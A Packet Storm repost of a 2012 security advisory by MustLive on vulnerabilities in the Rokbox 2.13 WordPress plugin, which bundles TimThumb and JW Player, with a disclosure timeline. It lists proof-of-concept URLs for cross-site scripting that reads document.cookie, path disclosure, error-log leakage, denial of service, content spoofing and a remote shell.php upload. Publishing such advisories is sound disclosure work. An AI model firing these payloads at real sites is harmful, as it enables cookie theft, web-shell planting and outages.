what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Rokbox 2.13 XSS / DoS / File Upload / Path Disclosure

WordPress Rokbox 2.13 XSS / DoS / File Upload / Path Disclosure
Posted Dec 17, 2012
Authored by MustLive

Rokbox version 2.13 for WordPress suffers from content spoofing, cross site scripting, denial of service, path disclosure, and various other vulnerabilities.

tags | exploit, denial of service, spoof, vulnerability, xss
SHA-256 | 51a81a8d051d242f2a2efc2c318db1e018963bd4d73085533099aba88545bf32

WordPress Rokbox 2.13 XSS / DoS / File Upload / Path Disclosure

Change Mirror Download
Hello list!

I want to warn you about multiple security vulnerabilities in plugin Rokbox
for WordPress.

These are Cross-Site Scripting, Full path disclosure, Abuse of
Functionality, Denial of Service, Arbitrary File Upload, Content Spoofing
and Information Leakage vulnerabilities. Rokbox uses TimThumb 1.16 and JW
Player 4.4.198, so some of vulnerabilities are related to plugin itself,
some to TimThumb (vulnerabilities in which I've disclosed in 2011 and
developer fixed them after my informing) and some to JW Player
(vulnerabilities in which I've disclosed in 2012 and developer fixed them
after my informing).

-------------------------
Affected products:
-------------------------

Vulnerable are Rokbox 2.13 and previous versions.

To CS and XSS in JW Player and FPD are vulnerable all versions of Rokbox for
WordPress (Rokbox <= 2.13), but IL and vulnerabilities in TimThumb were
fixed. After my informing in August the developers changed TimThumb to
phpThumb, so version 2.13 isn't vulnerable to them.

----------
Details:
----------

XSS (WASC-08) (in versions of Rokbox with older versions of TimThumb):

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1&w=1111111

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1111111&w=1

Abuse of Functionality (WASC-42):

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site&h=1&w=1
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

DoS (WASC-10):

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site/big_file&h=1&w=1
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

About such Abuse of Functionality and Denial of Service vulnerabilities you
can read in my article Using of the sites for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).

Arbitrary File Upload (WASC-31):

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php

This Arbitrary File Upload vulnerability in TimThumb was disclosed last year
after 3,5 months after my disclosure of previous holes.

Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

Swf-file of JW Player accepts arbitrary addresses in parameters file and
image, which allows to spoof content of flash - i.e. by setting addresses of
video (audio) and/or image files from other site.

http://site/wp-content/plugins/wp_rokbox/thumb.php?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://site/wp-content/plugins/wp_rokbox/thumb.php?file=1.flv&image=1.jpg

Content Spoofing (WASC-12):

Swf-file of JW Player accepts arbitrary addresses in parameter config, which
allows to spoof content of flash - i.e. by setting address of config file
from other site (parameters file and image in xml-file accept arbitrary
addresses). For loading of config file from other site it needs to have
crossdomain.xml.

http://site/wp-content/plugins/wp_rokbox/thumb.php?config=1.xml

1.xml

<config>
<file>1.flv</file>
<image>1.jpg</image>
</config>

Content Spoofing (WASC-12):

http://site/wp-content/plugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site

XSS (WASC-08):

http://site/wp-content/plugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Information Leakage (WASC-13):

http://site/wp-content/plugins/wp_rokbox/error_log

Leakage of error log with full paths.

Full path disclosure (WASC-13):

http://site/wp-content/plugins/wp_rokbox/rokbox.php

------------
Timeline:
------------

2012.08.24 - announced at my site.
2012.08.28 - informed developers.
2012.08.29 - developers answered that they will look at it.
2012.12.14 - disclosed at my site (http://websecurity.com.ua/6006/). The
developers haven't told me, which holes and in which versions they fixed,
but my checking of the last version of RokBox showed that they fixed only
part of the holes.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close